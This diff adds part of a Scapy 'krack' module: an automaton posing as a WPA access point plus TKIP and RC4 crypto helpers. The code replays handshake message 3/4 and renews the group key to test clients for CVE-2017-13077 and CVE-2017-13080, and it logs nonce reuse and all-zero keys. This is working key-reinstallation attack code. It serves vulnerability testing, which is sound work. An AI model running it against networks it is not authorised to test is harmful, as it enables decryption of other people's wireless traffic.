pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)], + akm_suites=[AKMSuite(suite=0x2)]) + + @staticmethod + def build_EAPOL_Key_8021X2004( + key_information, + replay_counter, + nonce, + data=None, + key_mic=None, + key_data_encrypt=None, + key_rsc=0, + key_id=0, + key_descriptor_type=2, # EAPOL RSN Key + ): + pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") + + key_iv = KrackAP.gen_nonce(16) + + assert key_rsc == 0 # Other values unsupported + assert key_id == 0 # Other values unsupported + payload = b"".join([ + chb(key_descriptor_type), + struct.pack(">H", key_information), + b'\x00\x20', # Key length + struct.pack(">Q", replay_counter), + nonce, + key_iv, + struct.pack(">Q", key_rsc), + struct.pack(">Q", key_id), + ]) + + # MIC field is set to 0's during MIC computation + offset_MIC = len(payload) + payload += b'\x00' * 0x10 + + if data is None and key_mic is None and key_data_encrypt is None: + # If key is unknown and there is no data, no MIC is needed + # Example: handshake 1/4 + payload += b'\x00' * 2 # Length + return pkt / Raw(load=payload) + + assert data is not None + assert key_mic is not None + assert key_data_encrypt is not None + + # Skip 256 first bytes + # REF: 802.11i 8.5.2 + # Key Descriptor Version 1: + # ... + # No padding shall be used. The encryption key is generated by + # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501 + # of the RC4 key stream shall be discarded following RC4 stream cipher + # initialization with the KEK, and encryption begins using the 257th key # noqa: E501 + # stream octet. + enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) + + payload += struct.pack(">H", len(data)) + payload += enc_data + + # Compute MIC and set at the right place + temp_mic = pkt.copy() + temp_mic /= Raw(load=payload) + to_mic = raw(temp_mic[EAPOL]) + mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() + final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501 + assert len(final_payload) == len(payload) + + return pkt / Raw(load=final_payload) + + def build_GTK_KDE(self): + """Build the Key Data Encapsulation for GTK + KeyID: 0 + Ref: 802.11i p81 + """ + return b''.join([ + b'\xdd', # Type KDE + chb(len(self.gtk_full) + 6), + b'\x00\x0f\xac', # OUI + b'\x01', # GTK KDE + b'\x00\x00', # KeyID - Tx - Reserved x2 + self.gtk_full, + ]) + + def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, + key_idx=0, additionnal_flag=["from-DS"], + encrypt_key=None): + """Send an encrypted packet with content @data, using IV @iv, + sequence number @seqnum, MIC key @mic_key + """ + + if encrypt_key is None: + encrypt_key = self.tk + + rep = RadioTap() + rep /= Dot11( + addr1=dest, + addr2=self.mac, + addr3=self.mac, + FCfield="+".join(['protected'] + additionnal_flag), + SC=(next(self.seq_num) << 4), + subtype=0, + type="Data", + ) + + # Assume packet is send by our AP -> use self.mac as source + + # Encapsule in TKIP with MIC Michael and ICV + data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) + + # Header TKIP + payload + rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) + + self.send(rep) + return rep + + def send_wpa_to_client(self, data, **kwargs): + kwargs.setdefault("encrypt_key", self.tk) + return self.send_wpa_enc(data, next(self.client_iv), + next(self.seq_num), self.client, + self.mic_ap_to_sta, **kwargs) + + def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): + kwargs.setdefault("encrypt_key", self.gtk) + return self.send_wpa_enc(data, next(self.group_iv), + next(self.seq_num), dest, + self.mic_ap_to_group, **kwargs) + + def send_ether_over_wpa(self, pkt, **kwargs): + """Send an Ethernet packet using the WPA channel + Extra arguments will be ignored, and are just left for compatibility + """ + + payload = LLC() / SNAP() / pkt[Ether].payload + dest = pkt.dst + if dest == "ff:ff:ff:ff:ff:ff": + self.send_wpa_to_group(payload, dest) + else: + assert dest == self.client + self.send_wpa_to_client(payload) + + def deal_common_pkt(self, pkt): + # Send to DHCP server + # LLC / SNAP to Ether + if SNAP in pkt: + ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501 + self.dhcp_server.reply(ether_pkt) + + # If an ARP request is made, extract client IP and answer + if ARP in pkt and \ + pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: + if self.arp_target_ip is None: + self.arp_target_ip = pkt[ARP].psrc + log_runtime.info("Detected IP: %s", self.arp_target_ip) + + # Reply + ARP_ans = LLC() / SNAP() / ARP( + op="is-at", + psrc=self.arp_source_ip, + pdst=self.arp_target_ip, + hwsrc=self.mac, + hwdst=self.client, + ) + self.send_wpa_to_client(ARP_ans) + + # States + + @ATMT.state(initial=True) + def WAIT_AUTH_REQUEST(self): + log_runtime.debug("State WAIT_AUTH_REQUEST") + + @ATMT.state() + def AUTH_RESPONSE_SENT(self): + log_runtime.debug("State AUTH_RESPONSE_SENT") + + @ATMT.state() + def ASSOC_RESPONSE_SENT(self): + log_runtime.debug("State ASSOC_RESPONSE_SENT") + + @ATMT.state() + def WPA_HANDSHAKE_STEP_1_SENT(self): + log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") + + @ATMT.state() + def WPA_HANDSHAKE_STEP_3_SENT(self): + log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") + + @ATMT.state() + def KRACK_DISPATCHER(self): + log_runtime.debug("State KRACK_DISPATCHER") + + @ATMT.state() + def ANALYZE_DATA(self): + log_runtime.debug("State ANALYZE_DATA") + + @ATMT.timeout(ANALYZE_DATA, 1) + def timeout_analyze_data(self): + raise self.KRACK_DISPATCHER() + + @ATMT.state() + def RENEW_GTK(self): + log_runtime.debug("State RENEW_GTK") + + @ATMT.state() + def WAIT_GTK_ACCEPT(self): + log_runtime.debug("State WAIT_GTK_ACCEPT") + + @ATMT.state() + def WAIT_ARP_REPLIES(self): + log_runtime.debug("State WAIT_ARP_REPLIES") + + @ATMT.state(final=1) + def EXIT(self): + log_runtime.debug("State EXIT") + + @ATMT.timeout(WAIT_GTK_ACCEPT, 1) + def timeout_wait_gtk_accept(self): + raise self.RENEW_GTK() + + @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) + def timeout_waiting(self): + raise self.WAIT_AUTH_REQUEST() + + @ATMT.action(timeout_waiting) + def send_beacon(self): + log_runtime.debug("Send a beacon") + rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") + self.send(rep) + + @ATMT.receive_condition(WAIT_AUTH_REQUEST) + def probe_request_received(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: + raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) + + @ATMT.action(probe_request_received) + def send_probe_response(self, pkt): + rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) + self.send(rep) + + @ATMT.receive_condition(WAIT_AUTH_REQUEST) + def authent_received(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: + raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) + + @ATMT.action(authent_received) + def send_auth_response(self, pkt): + + # Save client MAC for later + self.client = pkt.addr2 + log_runtime.warning("Client %s connected!", self.client) + + # Launch DHCP Server + self.dhcp_server.run() + + rep = RadioTap() + rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) + rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, + status=pkt[Dot11Auth].status) + + self.send(rep) + + @ATMT.receive_condition(AUTH_RESPONSE_SENT) + def assoc_received(self, pkt): + if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ + pkt[Dot11Elt::{'ID': 0}].info == self.ssid: + raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) + + @ATMT.action(assoc_received) + def send_assoc_response(self, pkt): + + # Get RSN info + temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy() + temp_pkt.remove_payload() + self.RSN = raw(temp_pkt) + # Avoid 802.11w, etc. (deactivate RSN capabilities) + self.RSN = self.RSN[:-2] + b"\x00\x00" + + rep = RadioTap() + rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) + rep /= Dot11AssoResp() + rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) + + self.send(rep) + + @ATMT.condition(ASSOC_RESPONSE_SENT) + def assoc_sent(self): + raise self.WPA_HANDSHAKE_STEP_1_SENT() + + @ATMT.action(assoc_sent) + def send_wpa_handshake_1(self): + + self.anonce = self.gen_nonce(32) + + rep = RadioTap() + rep /= Dot11( + addr1=self.client, + addr2=self.mac, + addr3=self.mac, + FCfield='from-DS', + SC=(next(self.seq_num) << 4), + ) + rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) + rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication + rep /= self.build_EAPOL_Key_8021X2004( + key_information=0x89, + replay_counter=next(self.replay_counter), + nonce=self.anonce, + ) + + self.send(rep) + + @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) + def wpa_handshake_1_sent(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ + pkt[EAPOL].load[1:2] == b"\x01": + # Key MIC: set, Secure / Error / Request / Encrypted / SMK + # message: not set + raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) + + @ATMT.action(wpa_handshake_1_sent) + def send_wpa_handshake_3(self, pkt): + + # Both nonce have been exchanged, install keys + client_nonce = pkt[EAPOL].load[13:13 + 0x20] + self.install_unicast_keys(client_nonce) + + # Check client MIC + + # Data: full message with MIC place replaced by 0s + # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python + client_mic = pkt[EAPOL].load[77:77 + 16] + client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501 + assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501 + + rep = RadioTap() + rep /= Dot11( + addr1=self.client, + addr2=self.mac, + addr3=self.mac, + FCfield='from-DS', + SC=(next(self.seq_num) << 4), + ) + + rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) + rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication + + self.install_GTK() + data = self.RSN + data += self.build_GTK_KDE() + + eap = self.build_EAPOL_Key_8021X2004( + key_information=0x13c9, + replay_counter=next(self.replay_counter), + nonce=self.anonce, + data=data, + key_mic=self.kck, + key_data_encrypt=self.kek, + ) + + self.send(rep / eap) + + @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) + def wpa_handshake_3_sent(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ + pkt[EAPOL].load[1:3] == b"\x03\x09": + self.time_handshake_end = time.time() + raise self.KRACK_DISPATCHER() + + @ATMT.condition(KRACK_DISPATCHER) + def krack_dispatch(self): + now = time.time() + # Handshake 3/4 replay + if self.double_3handshake and (self.krack_state & 1 == 0) and \ + (now - self.time_handshake_end) > self.wait_3handshake: + log_runtime.info("Trying to trigger CVE-2017-13077") + raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) + + # GTK rekeying + if (self.krack_state & 2 == 0) and \ + (now - self.time_handshake_end) > self.wait_gtk: + raise self.ANALYZE_DATA().action_parameters(send_gtk=True) + + # Fallback in data analysis + raise self.ANALYZE_DATA().action_parameters() + + @ATMT.action(krack_dispatch) + def krack_proceed(self, send_3handshake=False, send_gtk=False): + if send_3handshake: + rep = RadioTap() + rep /= Dot11( + addr1=self.client, + addr2=self.mac, + addr3=self.mac, + FCfield='from-DS', + SC=(next(self.seq_num) << 4), + subtype=0, + type="Data", + ) + + rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) + rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication + + data = self.RSN + data += self.build_GTK_KDE() + + eap_2 = self.build_EAPOL_Key_8021X2004( + # Key information 0x13c9: + # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501 + # Encrypted, SMK + key_information=0x13c9, + replay_counter=next(self.replay_counter), + nonce=self.anonce, + data=data, + key_mic=self.kck, + key_data_encrypt=self.kek, + ) + + rep /= eap_2 + + if self.encrypt_3handshake: + self.send_wpa_to_client(rep[LLC]) + else: + self.send(rep) + + self.krack_state |= 1 + + if send_gtk: + self.krack_state |= 2 + # Renew the GTK + self.install_GTK() + raise self.RENEW_GTK() + + @ATMT.receive_condition(ANALYZE_DATA) + def get_data(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + + # Skip retries + if pkt[Dot11].FCfield.retry: + return + + # Skip unencrypted frames (TKIP rely on encrypted packets) + if not pkt[Dot11].FCfield.protected: + return + + # Dot11.type 2: Data + if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: + # Do not check pkt.addr3, frame can be broadcast + raise self.KRACK_DISPATCHER().action_parameters(pkt) + + @ATMT.action(get_data) + def extract_iv(self, pkt): + # Get IV + TSC, _, _ = parse_TKIP_hdr(pkt) + iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ + (TSC[4] << 32) | (TSC[5] << 40) + log_runtime.info("Got a packet with IV: %s", hex(iv)) + + if self.last_iv is None: + self.last_iv = iv + else: + if iv <= self.last_iv: + log_runtime.warning("IV re-use!! Client seems to be " + "vulnerable to handshake 3/4 replay " + "(CVE-2017-13077)" + ) + + data_clear = None + + # Normal decoding + data = parse_data_pkt(pkt, self.tk) + try: + data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, + pkt.addr3) + except (ICVError, MICError): + pass + + # Decoding with a 0's TK + if data_clear is None: + data = parse_data_pkt(pkt, b"\x00" * len(self.tk)) + try: + mic_key = b"\x00" * len(self.mic_sta_to_ap) + data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) + log_runtime.warning("Client has installed an all zero " + "encryption key (TK)!!") + except (ICVError, MICError): + pass + + if data_clear is None: + log_runtime.warning("Unable to decode the packet, something went " + "wrong") + log_runtime.debug(hexdump(pkt, dump=True)) + self.deal_common_pkt(pkt) + return + + log_runtime.debug(hexdump(data_clear, dump=True)) + pkt = LLC(data_clear) + log_runtime.debug(repr(pkt)) + self.deal_common_pkt(pkt) + + @ATMT.condition(RENEW_GTK) + def gtk_pkt_1(self): + raise self.WAIT_GTK_ACCEPT() + + @ATMT.action(gtk_pkt_1) + def send_renew_gtk(self): + + rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) + rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication + + data = self.build_GTK_KDE() + + eap = self.build_EAPOL_Key_8021X2004( + # Key information 0x1381: + # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, + # SMK + key_information=0x1381, + replay_counter=next(self.replay_counter), + nonce=self.anonce, + data=data, + key_mic=self.kck, + key_data_encrypt=self.kek, + ) + + rep_to_enc /= eap + self.send_wpa_to_client(rep_to_enc) + + @ATMT.receive_condition(WAIT_GTK_ACCEPT) + def get_gtk_2(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + + # Skip retries + if pkt[Dot11].FCfield.retry: + return + + # Skip unencrypted frames (TKIP rely on encrypted packets) + if not pkt[Dot11].FCfield.protected: + return + + # Normal decoding + try: + data = parse_data_pkt(pkt, self.tk) + except ValueError: + return + try: + data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, + pkt.addr3) + except (ICVError, MICError): + return + + pkt_clear = LLC(data_clear) + if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ + pkt_clear[EAPOL].load[1:3] == b"\x03\x01": + raise self.WAIT_ARP_REPLIES() + + @ATMT.action(get_gtk_2) + def send_arp_req(self): + + if self.krack_state & 4 == 0: + # Set the address for future uses + self.arp_target_ip = self.dhcp_server.leases.get(self.client, + self.arp_target_ip) # noqa: E501 + assert self.arp_target_ip is not None + + # Send the first ARP requests, for control test + log_runtime.info("Send ARP who-was from '%s' to '%s'", + self.arp_source_ip, + self.arp_target_ip) + arp_pkt = self.send_wpa_to_group( + LLC() / SNAP() / ARP(op="who-has", + psrc=self.arp_source_ip, + pdst=self.arp_target_ip, + hwsrc=self.mac), + dest='ff:ff:ff:ff:ff:ff', + ) + self.arp_sent.append(arp_pkt) + else: + if self.arp_to_send < len(self.arp_sent): + # Re-send the ARP requests already sent + self.send(self.arp_sent[self.arp_to_send]) + self.arp_to_send += 1 + else: + # Re-send GTK + self.arp_to_send = 0 + self.arp_retry += 1 + log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", + self.arp_retry, self.ARP_MAX_RETRY) + if self.arp_retry > self.ARP_MAX_RETRY: + # We retries 100 times to send GTK, then already sent ARPs + log_runtime.warning("Client is likely not vulnerable to " + "CVE-2017-13080") + raise self.EXIT() + + raise self.RENEW_GTK() + + @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) + def resend_arp_req(self): + self.send_arp_req() + raise self.WAIT_ARP_REPLIES() + + @ATMT.receive_condition(WAIT_ARP_REPLIES) + def get_arp(self, pkt): + # Avoid packet from other interfaces + if RadioTap not in pkt: + return + + # Skip retries + if pkt[Dot11].FCfield.retry: + return + + # Skip unencrypted frames (TKIP rely on encrypted packets) + if not pkt[Dot11].FCfield.protected: + return + + # Dot11.type 2: Data + if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: + # Do not check pkt.addr3, frame can be broadcast + raise self.WAIT_ARP_REPLIES().action_parameters(pkt) + + @ATMT.action(get_arp) + def check_arp_reply(self, pkt): + data = parse_data_pkt(pkt, self.tk) + try: + data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, + pkt.addr3) + except (ICVError, MICError): + return + + decoded_pkt = LLC(data_clear) + log_runtime.debug(hexdump(decoded_pkt, dump=True)) + log_runtime.debug(repr(decoded_pkt)) + self.deal_common_pkt(decoded_pkt) + if ARP not in decoded_pkt: + return + + # ARP.op 2: is-at + if decoded_pkt[ARP].op == 2 and \ + decoded_pkt[ARP].psrc == self.arp_target_ip and \ + decoded_pkt[ARP].pdst == self.arp_source_ip: + # Got the expected ARP + if self.krack_state & 4 == 0: + # First time, normal behavior + log_runtime.info("Got ARP reply, this is normal") + self.krack_state |= 4 + log_runtime.info("Trying to trigger CVE-2017-13080") + raise self.RENEW_GTK() + else: + # Second time, the packet has been accepted twice! + log_runtime.warning("Broadcast packet accepted twice!! " + "(CVE-2017-13080)") diff --git a/libs/scapy/modules/krack/crypto.py b/libs/scapy/modules/krack/crypto.py new file mode 100755 index 0000000..fa3872e --- /dev/null +++ b/libs/scapy/modules/krack/crypto.py @@ -0,0 +1,376 @@ +import hashlib +import hmac +from struct import unpack, pack +from zlib import crc32 + +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms +from cryptography.hazmat.backends import default_backend + +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.compat import orb, chb +from scapy.layers.dot11 import Dot11TKIP +from scapy.utils import mac2str + +# ARC4 + + +def ARC4_encrypt(key, data, skip=0): + """Encrypt data @data with key @key, skipping @skip first bytes of the + keystream""" + + algorithm = algorithms.ARC4(key) + cipher = Cipher(algorithm, mode=None, backend=default_backend()) + encryptor = cipher.encryptor() + if skip: + encryptor.update(b"\x00" * skip) + return encryptor.update(data) + + +def ARC4_decrypt(key, data, skip=0): + """Decrypt data @data with key @key, skipping @skip first bytes of the + keystream""" + return ARC4_encrypt(key, data, skip) + +# Custom WPA PseudoRandomFunction + + +def customPRF512(key, amac, smac, anonce, snonce): + """Source https://stackoverflow.com/questions/12018920/""" + A = b"Pairwise key expansion" + B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce])) + + blen = 64 + i = 0 + R = b'' + while i <= ((blen * 8 + 159) // 160): + hmacsha1 = hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1) + i += 1 + R = R + hmacsha1.digest() + return R[:blen] + +# TKIP - WEPSeed generation +# Tested against pyDot11: tkip.py + + +# 802.11i p.53-54 +_SBOXS = [ + [ + 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, + 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, + 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, + 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, + 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, + 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, + 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, + 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, + 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, + 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, + 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, + 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, + 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, + 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, + 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, + 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, + 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, + 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, + 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, + 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, + 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, + 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, + 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, + 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, + 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, + 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, + 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, + 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, + 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, + 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, + 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, + 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A + ], + [ + 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, + 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, + 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, + 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, + 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, + 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, + 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, + 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, + 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, + 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, + 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, + 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, + 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, + 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, + 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, + 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, + 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, + 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, + 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, + 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, + 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, + 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, + 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, + 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, + 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, + 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, + 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, + 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, + 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, + 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, + 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, + 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C + ] +] + +# 802.11i Annex H +PHASE1_LOOP_CNT = 8 + + +def _MK16(b1, b2): + return (b1 << 8) | b2 + + +def _SBOX16(index): + return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)] + + +def _CAST16(value): + return value & 0xffff + + +def _RotR1(value): + return ((value >> 1) & 0x7fff) | (value << 15) + + +def gen_TKIP_RC4_key(TSC, TA, TK): + """Implement TKIP WEPSeed generation + TSC: packet IV + TA: target addr bytes + TK: temporal key + """ + + assert len(TSC) == 6 + assert len(TA) == 6 + assert len(TK) == 16 + assert all(isinstance(x, six.integer_types) for x in TSC + TA + TK) + + # Phase 1 + # 802.11i p.54 + + # Phase 1 - Step 1 + TTAK = [] + TTAK.append(_MK16(TSC[3], TSC[2])) + TTAK.append(_MK16(TSC[5], TSC[4])) + TTAK.append(_MK16(TA[1], TA[0])) + TTAK.append(_MK16(TA[3], TA[2])) + TTAK.append(_MK16(TA[5], TA[4])) + + # Phase 1 - Step 2 + for i in range(PHASE1_LOOP_CNT): + j = 2 * (i & 1) + TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j]))) # noqa: E501 + TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j]))) # noqa: E501 + TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j]))) # noqa: E501 + TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j]))) # noqa: E501 + TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i) # noqa: E501 + + # Phase 2 + # 802.11i p.56 + + # Phase 2 - Step 1 + PPK = list(TTAK) + PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0]))) + + # Phase 2 - Step 2 + PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0]))) + PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2]))) + PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ 